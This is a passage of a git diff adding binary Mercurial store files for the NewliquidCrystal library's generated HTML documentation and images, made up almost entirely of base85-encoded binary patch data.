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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.png.i new file mode 100644 index 0000000000000000000000000000000000000000..053653aeab298e9bc907b852395c1435409c9566 GIT binary patch literal 455 zcmZQzWME_f1IBg+2F5lBn?d3~6zna0=;Qt(IB#9}p3}-P=YtZ$YW1ONz*K2xfS)@r zmlPL}$Ls0g5(K34fjEGJ8AvLa-_`7T9D{!>h)(hYNKe0Se;AOv_@wC+2il;-g z>KqQf?0HCx36S+@6CTQar?~a z+NpuBRy|Drkad<-?K6-_`@CR!yd&7e?rZcE*= z-`0n<^IuFeihr;&Fkj**dq-660^`k@>5hjioPW5NwHfkzU1*(i>#o4r_y5XEPd!aN zSNyTn-7;0ATeVQ!KkG!6a!Ho(c}YGq*QplO^^Z23(Xo`x|MhPT`=Vc4T1;j|M@xUr zw6dM}>y3VYuqvD5|6Z%CTa#|T+x)z}x9mlFo^k%yYfry->=Ccr`HA7i6p7iznsNJp PfyUtJ>gTe~DWM4f-Vny> literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r-members.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r-members.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6f3d017824be07f8a7b6b7e57aca5bb89adb1d68 GIT binary patch literal 7762 zcmbVRWl&sAmmZSf1RpH8O9prM-~@MP2s#WJLa^Wt!DVm@?!nzP1P$&QERditVQ2E? z-P+n8`(vM~^Yod%r|R~7PT%fxdjLoPB)}hFpaTFb-2d?bB#(b#LPVIuB9l=%4#YS( zlP^-1<0c~d8}p~}g3XcHIWNm!wfPSuA@lR&D)W#h@TfQ0JFCvDL1J>q=+O3=AC>~AL&iY;kDI$YZ}*8;U_J`7 zcG7h({c(;{v$)Kj(T`4!oI-+jcx&UA`Qoccp+$B}m5}|wx|=kag7BR8SpF~T%V#z! zUXn3qY)364KkIj|oXP!=S#0#r%DA?UjN9GVK$I0}G@e2tpOA`aR#u{3dX=`veRO+h zODM*&ha30lAdcEag_pVwP%yZ}U5wjOg{C$cSLE=IA0_%3Ubv`w zWwZ{mJ4u94)wQanupVz_FQq&A^V!n&&=U1lJN4LXD(boq)Q+BV+)-#_a-5ELAYCBy zdPHXCQ?B^^U()FnY1t^ew#%4cr}b>|_{71eLSHH24qOdqn#{?JH}q;m0$(2J$s0hC zayp$dT)VpsvR8GtNuS91E|Z<#iX4P>a*Www7rc#P8Ku`0mm05kTxP(-8WaT^M>Z6|Em~$#6j4(W|C(GzMdZf*unw_+p6oJOF z@rV%}lSG5i_i-o^5J>GSJQ@Aa~09#K6NyfYl6%vaWZe(`TIB0-^{_j?fENIE8Rb>O ze|oQdf{8d{CiyQMCk`Yvs~1ojiRO#HgY#4pO?sdf6 z7X)_7^?rLjlb_x_$&dcf>W9W4FB2trZn|xUH4?gX*?(_8lQ>wBpw0 z1>+793;en%ZrrAOS?h}@dcB}7eDSGTpMG@rwW2X$@e?eSeSy=bm(wCOUp~}(&RiNPDNNbWupbWEOflI5fl`Z^_Acr= zE4=Mi8D^sPSwdA4Ieb@M4NTVZ1+iYH>%>9ar%|P+i)qDl$&Zt8XTnBag}3mgX0iHJ zQsYNTqfJIIZ>jvy4p+crae9frmv8QBS5LNm?L>9jwt9IkLGUV5*s+?sCXvOK;jxL(S|Q8d(rMh$QOw|RJE8$>?fz19QdJo+kdIfYnA2{6E=Jv_6D_u3 z&%6WZa+L7eRY4zi#0(@4)?sO7YIIbJjsmY`%x-=)10Qir`{e}P88WEVriI3H+aseL z1xISx_0g*~=O-Z(JfEp(%;^K`@?O+Q38XKmkCcTVxlh^0Z7=$75*jo|JMY}86FW;p z-G|*y;e5VlEzc+#rLw3miqBxW>C)m(dLpKtA)58eg z^Y}V;q?~u7@H~l!U~}Z#4c$fO#~6)BGKvse6=Rr`j*r2K;{a~8^3E`={T7EQc$ zs&m)jQAwnP^~x=ZQxkSpm5EDGOsmGMMD*IKC-z6?8!+#FE^U+-3wE8(hG0-JF@R_pu6kh~+PR(k_u+{Kl!! zBAWt8tJfZ!4QaFbzC=2gtP``;Oe+d2@b~UI4Cu|#qU39r$Z&KV4ynl~;Rj>a=PK9@ zZF5>+sS`z?30nRpU36S>^1BB|jvAEkWt00JZA*`E`YSweY0@hxf=>#1pp#`4)J$;2+YYxvchy$Z58Es`TIc)wRV<%Je5M{Yk(CM1{o z0YZN@>)#gF!cKAs)5J=cMN0;3kD9A2Fsc}gJ077+ERRL^=T*>^<7Xe$NI^rpFB zT}5t^8hDR>x#nTwN|M9(kTD=&Trx<9vLeMPi@ItM(jJ~P?L=Jw2giKr#9hdF^whTX z-9RA55Oxb;6+wa8Xma`6N!j;{XLOiL>CDp>WaxO7rV27;SzCFoni0H2$Jm%=(w)*R zSQ@vabr!y5Rmie=A49oBJC=seFph<9oh(BhUtWRzA>o|0C3rS(Qu6MfZ}ScuYw4E( zhd$9(rb_WZZGz&sjn=JyueXV+lvb+5pwpmdNj}WhTGiqoaOtOMVu+?0-=D3=LGvGX zAeHu$1FUs+GA^)JOMUmtW>Z zmkp`6IK*3ybD(Xk=(KDOn~*BMW9D;{?`+oAK|F_-e?SunmT(E zmm16wRMI0t&8oin9>A>XVdJ8`nq4+w_rjy2^_?1!RZ~;(OTiG|S0WEXx*aPob}<^N z!_T&=DJYXB7j&ThS_kak%u!k6tXC`yh!t_vY#h|jM)9+3rk`T`=uYdD$=Zo}w%ImO&Xm|e)hvr&MYb$uhCia)a$YI29v6qye zEnBjG9?MfHw6G3XKLl*q;yQ4JzWNI2g9k3y0R z(SfKXtwm*QPm}LFu{+742MK7me6t-sA+G%kFPN426sNiQlzxAA_iO7!jly_XqQ0?X zc~VM_S%P6v;@s0L*r;hi#J-Z%(O(S{p^fX!zBHLjQseV5?q*m{zj@N} zSo+k5ahcW(uyoKP2<(Mn3pR_(vM$-mm9q~WFuxS_bZezhV2Wu#jS_4Yo8!$`_(Y;> zW7DFsq#ZrsxM*A8R7DD$R$*^Q$9MYt?pG*>mW#KK>#vmbml$5ZCe`s&W$#-jJ{O!Z z)g26A)4c7%cRk~$X}U2J`kq?8rnJ34!^%{IHEl*B_Rz5*rfWI|KYgw?UaB2y9<_boQaXk)HgWJfd}gN1hpqe zH}rXv3#G%aX2{{nYyU-w2lpr2a z9B_MrNb!yfG$rIDEa=@czuk=t#-(>!rMG_~{t`UJ2@^{FoP;6U^T}J7#&qF<-{?Jx zDNgza&;qg0VnseCFgB^tIB_Y?{Q&zg_AFg+nmN^vFlP~AQu!jl?+TW&9 zW@W2?u0KFNdmFADOFVPnln(2t@iCpPltL#KNXE>nOEqX0KOWp_S_ z+pQG@ik`XvF|}%BiP2Bdv+O7NifuUZrmd_xTiP@}_oNLt z_1Q`CRe?|<7k0-Z*YNnlsNuWl=fc1#$>r`shYeXiY7}Y`;_jIT!NoY_q{^UMneJv* zm@5ynP3DXCFW4zLNC&MastA>z2maBz3jkos{HwYEynTvDkKLSGJ7;E&&YB$RzOTE- zke)oD?BAF_jTg)$wg)3nk|fywQ{vAjUw4P7kMgVZKUBVFIobjpbhfgQ9xYWNcPOe) z&&XMS&C8hS7U02>+((%@LF&fFD;@rl7ByVeC_LOy>c!$j#GyyBAF+4GO_q?}lv}(v zr+%uc0vlKQy&6gj&&xXqDM5vlkenfnsi- zMrR}tBQFmt*{>;lDC-3|LqP;sQ`g~f)@1nj2>_m=AKy6{bH23RMc*2O$lV&bz-t4?=r~mDAepPyh!3RLqUqEa&PK)agQ9XY5yHkZ*MqxW9 zK8Q|wm=F*sTOmnLGZB+*Wz3vS1K#ez9i-)6sW2Kc{nCNqI5}6{4kpUW8+W*O5`gks z5D9{L=IMhwaa}K@6t=}SaFroW3QWvnb!|_0FnEIO6!v`voE&9Mf9e_1zd02`uC!#? zl2ZV=5`2ODbi0@GO@+9Ao4+WpoI1+RLT>dSV@VEy%Mt`z6Ju$Q_p~t3W$YyeV)PS1ZpGbJ5K8dvg3t--VtiGEcp8 zg1t#n(^=9AJ(ulCj-(Lxwq~7?wyoC(#lzqc%^ozmgTOOyaWB6vx5YDe>Nym@_7~xv zR3*3Q;i(Z&gseCp5sU=iyO{0}9vr%GLq?>-<@q*0@i=!Pw$3tD1WnGfo#rD<->^;c7W?!c{2W=s zei@kHu@XDP06;rg-UOX9%9$&t3~viRe1Klsh+-a|9So7cUoR;m`2#~tCG{Uwyh31Wk> z_p2S;g9_T~?~^8x=_x&0264R~U&Z$dz+d$kPy&W+cVmrV6EuWu>sdn2)j<8GJ3pD! zAzG__O$8szQotJduWd)@*Lwg{w@(v7Alz~UBZ%#2AOLXBz1%Uf!^aqa_r- z#-y+l7&oNw;)q<5V)pZAkQ~{gX==XI@$lG!tq(7 zmN(fiDT|4jY3&eqHmYDyWH0e)Gje+=qccDt6Tu7qpTyI!ECHnS1MvuYA@D7Euk1olpJElD)MLcxu!=OxuoPxgw~Si$de7 zhrvctEo9hGe&JQ$r~odyFu&y#;M=;SF@)P zOB{Hm?^&`Vl+!a9_F0$Q*Ic4mi~b3DyW7Wd+g6cp%s^Z11sza*GLHUPfM`B;Fxs;_ z0eHC^c}tPxA@eO3mFMUFDh|&N`Uk}A@l6qo1h2Z-k`W#p9&kfLjQg8dXi_nHeZ#CP zRp*tE&=1}Eh=V^7f5{708P}l>pECUuOCMuSMv`$&!ngYsO^i9@YOJM?ldZbqmDK1K z*)?C$|AsEniuVUU>+9IeR_hXxW=C~4y7$GxZxvcYoA0m!W+PplthBK@*5C<|ijar3M~lnZ$9sUZ%|2=e zzI5P`M2Y)$8t2q80LpG2EkS8G(BoBo<`UII@6HL?bP0oofzE}XDQ?5N(&xx*xi6lQ z3rp791);yUy-uBJw-iVeIPc4+K`26ChhQW%008vw+ZP1yKu1U!>QE_-vS9_f8cNwg z+558GaBKR%_n8F5+lM;@LQ)>+o^*9(=ntFihs+iZ`~oPv1WQ|1PS&bERnvqKM(l4O zc_G>8_Gf-<@KIL?--I+ju0H&lp`dY453X>=mu3e@9vl;Kixs<>nWi_ea|&py#j2Yp zu*Cg_l#HQl=6%}J_xWzLGwQ`^5O?l?dC@O%`7&dF66JrN)P1WH` z&Y#!Zc)uu!!Q*_K#*V2apjy%@Q0}%M7ox}=UbzViDXmMhO~wipRoQ}m!on=oPBU#g zcGZmn?4CNMABy2M-1{Ha20OixC<)ZL0F7R4vks4$X$W53tH_1QiJrc~vx+oIF>ILc zCt*NOmV5WJi}U_EnB0+I#TGV-j%l44Fuhl0G98$KG{ zq~75HVbM?D&=JM;k~ki2j$H=>U&TwcBm z57QtTO0?#sq*FOk(g2+Z|6*3_V7%n3r}NBym`K5FEvv$mIWpI zw!$N&T1r2p4GoO$lN{n->cOr@oi+J_`+`Mm_Gu}Nt7bY0&i5i{x(r$gpyFY)vc-RL z@7k}++69;TH)dxW+F`o7yUJz6Xc8pPtR7vC_-Jk-G(mU%HfXJ!;~BUXcN=JJP|?IP zs>n|S19grj9r0Lg@$DX8P$#^nt!G1aCR&M%cRB*1+X6&EsUcGhO^*cY&x)sgb5&Y% z$s>(ZGNZO!TI@}mSKA=I9(`&hmlA!{)ho}w4!bqO94yAou=VP4l{WYD9SsRqTzcQ0 zZb$Z-qsd61<(-|q8tGi#Ne+eR_Ryu zD!c;|F|}eIU22yMlLbp8R=TyYAVw`5Y%oOhzknB%nj-Ku6PG`*)Y3fQVMhs#KB<4Q zK+&Zmz?_B60X!6&F&Ys?z*>7@bob)Mw;6PXj_xw;+b7m}ul5%0q>I`e8jjnF3Mf7T z&e{j2PO`f%Hsya!Q?IVFFjQt*nK_KN{>tz@CI3P9`kTTDClk_hS|Z3aEF?P`2UpmX z&b?03C@3oHOzg&@BWOCjDsw|#p!n2#+@M;J;LO5_b3Chx(d$K8x`B{ZPrLK@>-a!x z7aG11E1VH#HcW#<6$ZO9+m|eRpUd=_Zx%=Ak6_11p+d4`BUea`hZ=@QuR zqFzoWr`XW|Szgf=C3(M=V{bpdl5nRZB!B0Br3ZEVT`L84I#VaULsAl2^^m}adBkvr zt{>@&e04zn9P&c1FAFNkor{+zIg-Y>O&>Tad~?B0y)JHZj=`4KJcrPdm;URKrl3n@$4-n35nu{C3GxIBP=d)#z`vDaC zypMK9g(J50rnigUX0VLvy=uDR$?IbjcE&YVm52rL0*c@(Y}}up(Ldxu*f-s8Tjfo zB~5yoOE>I`kz_Wu0f9AV*LQfK?epg#o#FW&&o!ijtKxlxsH97Oq=naP|DB9{cn>xr z8PWpR7I(&21Et=?PK8g8F~`?>-u#LFOMm8&NN;zp^C)}{+5SHc)DkqxHuPT?nwKG_ uP@%c41=tn>wk(cMF)Q5IKF;4rOxI4**Dj6ME-iMnwK1PS2B=~%SpFA1_zO`0 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______s__r.html.i new file mode 100644 index 0000000000000000000000000000000000000000..c706f9f49d8c26521eed4cd22efaca6566621bbf GIT binary patch literal 11049 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 